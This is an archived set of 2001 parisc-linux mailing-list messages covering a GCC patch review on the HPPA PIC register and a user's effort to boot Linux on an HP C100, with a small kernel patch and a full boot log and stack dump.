a) On entry to a procedure, gp is guaranteed valid for that procedure.

b) At any direct procedure call, gp must be valid (for the caller).  This
   guarantees that an import stub (see Section 5.2) can access the linkage
   table.

c) Any procedure call (indirect or direct) may destroy gp--unless the call
   is known to be local to the load module.

d) At procedure return, gp must be valid (for the returning procedure).
   This allows us to optimize calls known to be local (the exception to
   Rule `c').

The effect of these rules is that gp must be treated as a scratch register
at a point of call but a procedure must preserve it from entry to exit.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Mon, 15 Jan 2001 09:38:32 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <8375.979576712@upchuck.cygnus.com>
References: <200101151624.LAA26183@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619526 10342 80.91.229.3 (22 Nov 2014 01:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:26 +0000 (UTC)
Cc: alan@linuxcare.com.au (Alan Modra), gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Mon Jan 15 09:38:44 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA18238
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 09:38:40 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id IAA29672
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 08:42:15 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0FGcXv08376;
	Mon, 15 Jan 2001 09:38:33 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Mon, 15 Jan 2001 11:24:22 EST.
             <200101151624.LAA26183@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9182


  In message <200101151624.LAA26183@hiauly1.hia.nrc.ca>you write:
  > > This patch rids us of PIC_OFFSET_TABLE_REGNUM_SAVED, and the problems tha
  > t
  > > go with it.  Additionally, I reload the pic offset table register before
  > > calls to guard against asm trashing r27/r19.  Hasn't bootstrapped yet, bu
  > t
  > > looks promising.  One possible fly in the ointment is whether any ABI
  > > requires that r4 always be used to save the pic offset table reg.
  > 
  > At first glance, this looks like a good solution.  I don't see any
  > requirementthat r4 be used to save the pic offset table reg in either ABI.
It is not an ABI requirement.  It was done because GCC was unable 
reasonably cope with a PIC register that was call-clobbered.

  > However, why is it necessary to guard against asms trashing r27/r19?  If
  > this happens, data access using gp won't work as well.  Shouldn't asms
  > ensure that they restore r27/r19 if they trash it?  If in fact r27/r19
  > needs to be restored prior to calls, it looks like it also needs to be
  > restored prior to each procedure return (see below).  This would prevent
  > the trivial return from ever being generated whenever pic code is used.
  > Thus, it seems necessary to ensure that r27/r19 is preserved from entry
  > to exit.
If an ASM trashes a fixed register, then the ASM is responsible for restoring
it.

jeff


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 10:44:13 -0600 (CST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101151002470.23020-100000@maestro.symsys.com>
References: <200101150003.QAA09520@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619527 10345 80.91.229.3 (22 Nov 2014 01:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Mon Jan 15 09:40:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18362
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 09:40:34 -0700
Original-Received: (qmail 16268 invoked by uid 15267); 15 Jan 2001 16:44:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16251 invoked from network); 15 Jan 2001 16:44:14 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 16:44:14 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA23067
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Jan 2001 10:44:13 -0600
In-Reply-To: <200101150003.QAA09520@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9183


I seem to be getting close.  I'm using dhcpd (since I already run it on my
network) which receives a BOOTREQUEST and returns a BOOTREPLY.  Then the
C100 pulls an image via TFTP but I get this error:

	IPL error: bad LIF magic.

	Error reading IPL

I was trying vmlinux-20001018 from the FTP site.  Are there any other
precompiled kernels I should try?

- Greg



From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 09:29:52 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200101151729.JAA10108@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101151002470.23020-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619527 10349 80.91.229.3 (22 Nov 2014 01:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Mon Jan 15 10:24:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19064
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 10:24:51 -0700
Original-Received: (qmail 26021 invoked by uid 15267); 15 Jan 2001 17:28:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25949 invoked from network); 15 Jan 2001 17:28:28 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 17:28:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id DA14611F2; Mon, 15 Jan 2001 09:28:27 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA10108;
	Mon, 15 Jan 2001 09:29:54 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 15 Jan 2001 10:44:13 PST."
             <Pine.LNX.4.21.0101151002470.23020-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9184

Greg Ingram wrote:
> I was trying vmlinux-20001018 from the FTP site.

Did you read the FAQ? (Hint: question 5)

Step 2 says: Use a lifimage (not vmlinux)


Unfortunately, mkp's answer is now horribly stale.
Claims which are no longer accurate include:
o HPUX is required to build a lifimage (XC and native builds work on occasion)
o mongoose (HPUX) boot loader is an option (PALO required)
o Serial console required (can use STI now)
o mkp is working on superio ;^)

Any volunteers to write up a new version? 
(ESIEE team?)

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Mon, 15 Jan 2001 10:46:59 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <9023.979580819@upchuck.cygnus.com>
References: <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619527 10353 80.91.229.3 (22 Nov 2014 01:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Mon Jan 15 10:47:04 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19482
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 10:47:03 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA06814
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 09:50:43 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0FHl0V09024;
	Mon, 15 Jan 2001 10:47:00 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Mon, 15 Jan 2001 22:09:30 +1100.
             <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9185


  In message <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au>y
ou write:
  > This patch rids us of PIC_OFFSET_TABLE_REGNUM_SAVED, and the problems that
  > go with it.  Additionally, I reload the pic offset table register before
  > calls to guard against asm trashing r27/r19.  Hasn't bootstrapped yet, but
  > looks promising.  One possible fly in the ointment is whether any ABI
  > requires that r4 always be used to save the pic offset table reg.
  > 
  > 	* config/pa/pa.h (PIC_OFFSET_TABLE_REGNUM_SAVED): Remove.
  > 	(machine_function): Define.
  > 	(PIC_OFFSET_TABLE_SAVE_RTX) : Define.
  > 	(INIT_EXPANDERS): Define.
  > 	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_status,
  > 	pa_init_expanders): New functions.
  > 	(hppa_expand_prologue): Use PIC_OFFSET_TABLE_SAVE_RTX instead of
  > 	PIC_OFFSET_TABLE_REGNUM_SAVED.
  > 	* config/pa/pa.md: Use PIC_OFFSET_TABLE_SAVE_RTX instead of
  > 	PIC_OFFSET_TABLE_REGNUM_SAVED throughout.  Restore pic offset
  > 	table register before all calls as well as after.
  > 	* config/pa/pa32-regs.h (CONDITIONAL_REGISTER_USAGE): Remove
  > 	references to PIC_OFFSET_TABLE_REGNUM_SAVED.
  > 	* config/pa/pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.
First, if an ASM trashes a fixed register, then it is the ASM's responsibility
to restore it.  So that part of this patch is wrong.

The rest of it looks pretty reasonable and can be installed.

jeff


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 11:57:06 -0600 (CST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101151144470.23087-100000@maestro.symsys.com>
References: <200101151729.JAA10108@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619528 10356 80.91.229.3 (22 Nov 2014 01:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ingram@symsys.com  Mon Jan 15 10:55:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19835
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 10:55:37 -0700
Original-Received: (qmail 17608 invoked by uid 15267); 15 Jan 2001 17:59:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17546 invoked from network); 15 Jan 2001 17:59:15 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 17:59:15 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id LAA23216;
	Mon, 15 Jan 2001 11:57:06 -0600
In-Reply-To: <200101151729.JAA10108@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9186

On Mon, 15 Jan 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > I was trying vmlinux-20001018 from the FTP site.
> 
> Did you read the FAQ? (Hint: question 5)

Yes, but...

> Step 2 says: Use a lifimage (not vmlinux)

Anybody got one?  
 
> Unfortunately, mkp's answer is now horribly stale.
> Claims which are no longer accurate include:
> o HPUX is required to build a lifimage (XC and native builds work on occasion)
> o mongoose (HPUX) boot loader is an option (PALO required)
> o Serial console required (can use STI now)
> o mkp is working on superio ;^)

I don't have an environment to build my own kernel image yet. Obviously I
can't do a native build.  And I've got almost a week of HP/UX experience
now.  :)  What does it take to build a kernel under HP/UX?  I'm guessing
GCC+Binutils+Make as a minimum.  What are my chances with the
cross-compiler?

- Greg




From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 10:58:38 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200101151858.KAA10158@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101151144470.23087-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619528 10361 80.91.229.3 (22 Nov 2014 01:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Mon Jan 15 11:55:56 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20537
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 11:55:55 -0700
Original-Received: (qmail 24302 invoked by uid 15267); 15 Jan 2001 18:59:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24271 invoked from network); 15 Jan 2001 18:59:35 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 18:59:35 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 169708B; Mon, 15 Jan 2001 10:59:34 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA10158;
	Mon, 15 Jan 2001 10:58:40 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 15 Jan 2001 11:57:06 PST."
             <Pine.LNX.4.21.0101151144470.23087-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9187

Greg Ingram wrote:
> > Step 2 says: Use a lifimage (not vmlinux)
> 
> Anybody got one?  

I've placed today's 32-bit on
  puffin.external.hp.com:~ftp/pub/parisc/binaries/lifimages/lifimage-20010115

and the matching vmlinux/System.map under .../binaries/kernels/ .


> What does it take to build a kernel under HP/UX?

I think I was the last person to be doing that as of around Feb 2000.
So it's not clear the tool chain will even properly compile under HPUX.
And CVS build-tools/recipe.hpux is probably broken - recipe.linux is.
Any volunteer to fix recipe.hpux?

AFAIK, the NFSROOT and XC toolchain has only been used under x86-linux.
Try on any other host at your own risk.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 13:22:14 -0600 (CST)
Lines: 282
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101151256070.23322-100000@maestro.symsys.com>
References: <Pine.LNX.4.21.0101151144470.23087-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619528 10368 80.91.229.3 (22 Nov 2014 01:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ingram@symsys.com  Mon Jan 15 12:20:47 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21036
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 12:20:47 -0700
Original-Received: (qmail 6869 invoked by uid 15267); 15 Jan 2001 19:24:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6822 invoked from network); 15 Jan 2001 19:24:16 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 19:24:16 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA23425;
	Mon, 15 Jan 2001 13:22:15 -0600
In-Reply-To: <Pine.LNX.4.21.0101151144470.23087-100000@maestro.symsys.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9188


Okay, I grabbed the cross-compiler and various sources and managed to
build a booting image.  Woohoo!  I also tried the lifimage you just posted
to the FTP site.  Both kernels died at GSC detection because it didn't
know the address f5fbf000.  I made this little change to ccio-dma.c:

--- arch/parisc/kernel/ccio-dma.c.orig  Mon Jan 15 12:40:05 2001
+++ arch/parisc/kernel/ccio-dma.c       Mon Jan 15 13:05:01 2001
@@ -1174,6 +1174,7 @@
 ** that can't be detected by PA/EISA/PCI bus walks.
 */
        switch((long) d->hpa) {
+       case 0xf5fbf000L:       /* C1O0 (wild guess!) */
        case 0xf7fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
        case 0xf3fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
                /* ccio_hpa same as C200 IOA0 */                                

It got past that point but crashed later.  Full boot log follows. I'm
looking at excluding the GSC stuff to see if the problem goes
away.  Updates at 11.

- Greg


Firmware Version  1.2

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1990-1996, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------

      0      100  Mhz   Active                 Functional          256 KB

  Central Bus Speed (in mhz)  :        100  
  Available Memory (bytes)    :  134217728  
  Good Memory Required (bytes):   26447872  


   Primary boot path:    core.FWSCSI.6.0
   Alternate boot path:  core.SCSI.2.0
   Console path:         GRAPHICS3
   Keyboard path:        core.PS2


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------

        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration menu              Displays or sets boot values
        INformation menu                Displays hardware information
        SERvice menu                    Displays service commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command or menu > boot lan
Interact with IPL (Y or N)?> n

Booting... 
Network Station Address 080009-e8832b

Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl root@ingram Mon Jan 15 12:24:52 CST 2001
0/vmlinux 2138962 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1431536 mediaptr 0x1000
Segment 1 load 0025e000 size 173080 mediaptr 0x15f000
Segment 2 load 0028c000 size 117492 mediaptr 0x18a000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a7000
Segment 4 load 002d7144 size 496 mediaptr 0x1a9144
branching to kernel entry point 0x00100160
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d8000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0'
PALO initrd 0-0
model   00005920 00000481 00000000 00000002 782482ee 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID   vers 11 rev 13
model   9000/777/C100
led_init: CPU_HVERSION 592
led_init: chassis info: model 2, lcd_width=0, cmd_delay=40, ret0=8, ret1=8
LED display at f0190000 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Coral SGC Graphics (10) at 0xf6000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
2. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000, versions 0x1f, 0x0, 0x89, 0x0, 0x80
3. U2-IOA BC GSC+ Port (7) at 0xf5fbf000, versions 0x501, 0x1, 0xc, 0x0, 0x0
4. Raven T' Core BA (11) at 0xffd00000, versions 0x32, 0x0, 0x81, 0x0, 0x0
5. Raven T' Lasi Core RS-232 (10) at 0xffd05000, versions 0x32, 0x0, 0x8c, 0x0, 0x0
6. Raven T' Core SCSI (10) at 0xffd06000, versions 0x32, 0x0, 0x82, 0x0, 0x0
7. Raven T' Core LAN (802.3) (10) at 0xffd07000, versions 0x32, 0x0, 0x8a, 0x0, 0x0
8. Raven T' Core Centronics (10) at 0xffd02000, versions 0x32, 0x0, 0x74, 0x0, 0x0
9. Raven T' Core PC Floppy (10) at 0xffd0a000, versions 0x32, 0x0, 0x83, 0x0, 0x0
10. Raven T' Audio (10) at 0xffd04000, versions 0x32, 0x0, 0x7b, 0x0, 0x0
11. Raven T' Core PC Keyboard (10) at 0xffd08000, versions 0x32, 0x0, 0x84, 0x0, 0x0
12. Raven T' Core PC Keyboard (10) at 0xffd08100, versions 0x32, 0x0, 0x84, 0x0, 0x0
13. Raven T' Wax BA (11) at 0xffe00000, versions 0x1e, 0x0, 0x8e, 0x0, 0x0
14. Raven T' Wax EISA BA (11) at 0xfc000000, versions 0x1e, 0x0, 0x90, 0x0, 0x0
15. Raven T' Wax RS-232 (10) at 0xffe02000, versions 0x1e, 0x0, 0x8c, 0x0, 0x80
16. Raven T' Wax HIL (10) at 0xffe01000, versions 0x1e, 0x0, 0x73, 0x0, 0x0
That's a total of 16 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
Linux version 2.4.0-test10 (root@ingram) (gcc version 2.96 20000925 (experimental)) #15 Mon Jan 15 12:40:31 CST 2001
free_bootmem(0x2d9000, 0x7d27000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0
trap_init
Calibrating delay loop... 99.74 BogoMIPS
Memory: 125840k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
Found i82596 at 0xffd07000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
ccio found U2 GSC+ BC at 0xf5fbf000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xffd07000, 08 00 09 E8 83 2B IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

Dumping Stack from c7f9c000 to c7f9ca80:
c000 00000000 00000040 00000000 00000000 c027346c 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c0273384
c040 c0273384 00000034 c7f7c000 c02ac000 c027860c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c02ac000 c02ac000 c7f70000 00000000 00000000 c7f70098 c02ac098
c0a0 00000000 c02c7978 00000000 c7f9c0ac c7f9c0ac c7f9c908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c7f9c000 c011c0fc 00000000 00000019 00000000 00000000 00000025 00000000
c100 0000003e 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c027401c ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00008000 21998304
c260 21998304 c013e478 00010000 c7ffeba0 c0225e0c c0236370 000000f0 00504d70
c280 00000000 c011a85c c02c6000 00008000 21998304 c02c6000 00000000 0004000a
c2a0 c02734a0 0000000b 00000024 0000003c 0000003e c0273000 00000001 00000000
c2c0 c01002a0 c02b2b4b 00000000 c02b2b6f 0000000b c02734a0 c0273000 f00000ac
c2e0 f00000a4 000000ff ffd05800 ffd05800 ffd05800 00000060 ffffffff ffd05800
c300 002b2540 c025e000 00000000 00000000 c02ac8c0 00000000 000b0800 00000000
c320 0000001f 00000000 0000001f 00000000 0000001f 00000000 00000000 00000000
c340 00000000 00000000 00000000 00000000 00000000 00000000 00000010 00000020
c360 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000 45e69c6a 25b7ea20
c380 41800000 00000000 00000010 00000010 00000000 00000000 00000040 00000080
c3a0 00000100 00000200 00000400 00000800 7fffffff 7fffffff 41000000 00000000
c3c0 7fffffff 7fffffff 40800000 00000000 41000000 00000000 40300000 00000000
